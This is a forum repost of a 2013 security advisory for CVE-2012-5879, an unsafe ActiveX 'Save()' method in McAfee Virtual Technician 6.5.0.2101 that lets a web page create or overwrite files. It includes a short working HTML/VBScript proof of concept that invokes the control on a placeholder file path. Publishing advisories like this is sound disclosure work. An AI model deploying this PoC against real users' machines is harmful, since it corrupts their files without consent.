snakeO2 Posted April 1, 2013 Report Posted April 1, 2013 McAfee Virtual Technician (MVT) 6.5.0.2101 - Insecure ActiveX MethodAdvisory ID: HTB23128Product: McAfee Virtual Technician (MVT) 6.5.0.2101Vendor: McAfeeVulnerable Version(s): 6.5.0.2101 and probably priorTested Version: 6.5.0.2101 on Windows 7 SP1 and Internet Explorer 9Vendor Notification: November 19, 2012Vendor Patch: March 15, 2013Public Disclosure: March 27, 2013Vulnerability Type: Exposed Unsafe ActiveX Method [CWE-618]CVE Reference: CVE-2012-5879Risk Level: MediumCVSSv2 Base Score: 5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P)Solution Status: Fixed by VendorDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )-----------------------------------------------------------------------------------------------Advisory Details:High-Tech Bridge Security Research Lab discovered vulnerability in McAfee Virtual Technician ActiveX control, which can be exploited by remote malicious person to overwrite arbitrary files with garbage data on a vulnerable system.1) Insecure method in McAfee Virtual Technician ActiveX control: CVE-2012-5879The vulnerability exists due to the ActiveX control including the insecure "Save()" method in "McHealthCheck.dll" DLL. This can be exploited to corrupt or create arbitrary files in the context of the current user.The following PoC code is available:<html><h4>McAfee Virtual Technician [McHealthCheck.dll] v.6.5.0.2101</h4><h5>This proof of concepts creates an arbitrary file in a system [Windows 7, SP1 with IE 9.0] by leveraging the McHealthCheck.dll ActiveX module and the method "Save()":</h5><object classid='clsid:24565A99-ADDA-47B9-9E86-3C4C3360E256' id='target'></object><input type="button" value="Boom!" language="VBScript" OnClick="CreateArbitraryFile()"><script language="VBScript">sub CreateArbitraryFile()arg1="FilePath\File_name_to_corrupt_or_create"target.Save arg1End Sub</script></html>Solution:Upgrade to McAfee Virtual Technician (MVT) 7.1More Information:https://kc.mcafee.com/corporate/index?page=content&id=SB10040-----------------------------------------------------------------------------------------------References:[1] High-Tech Bridge Advisory HTB23128 - https://www.htbridge.com/advisory/HTB23128 - McAfee Virtual Technician ActiveX control Insecure Method.[2] McAfee Virtual Technician - mvt.mcafee.com - McAfee Virtual Technician collects information on your computer system so that McAfee can diagnose and solve problems related to your McAfee software.[3] Common Vulnerabilities and Exposures (CVE) - CVE - Common Vulnerabilities and Exposures (CVE) - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.[4] Common Weakness Enumeration (CWE) - CWE - Common Weakness Enumeration - targeted to developers and security practitioners, CWE is a formal list of software weakness types.-----------------------------------------------------------------------------------------------Sursa: McAfee Virtual Technician (MVT) 6.5.0.2101 - Insecure ActiveX Method Quote
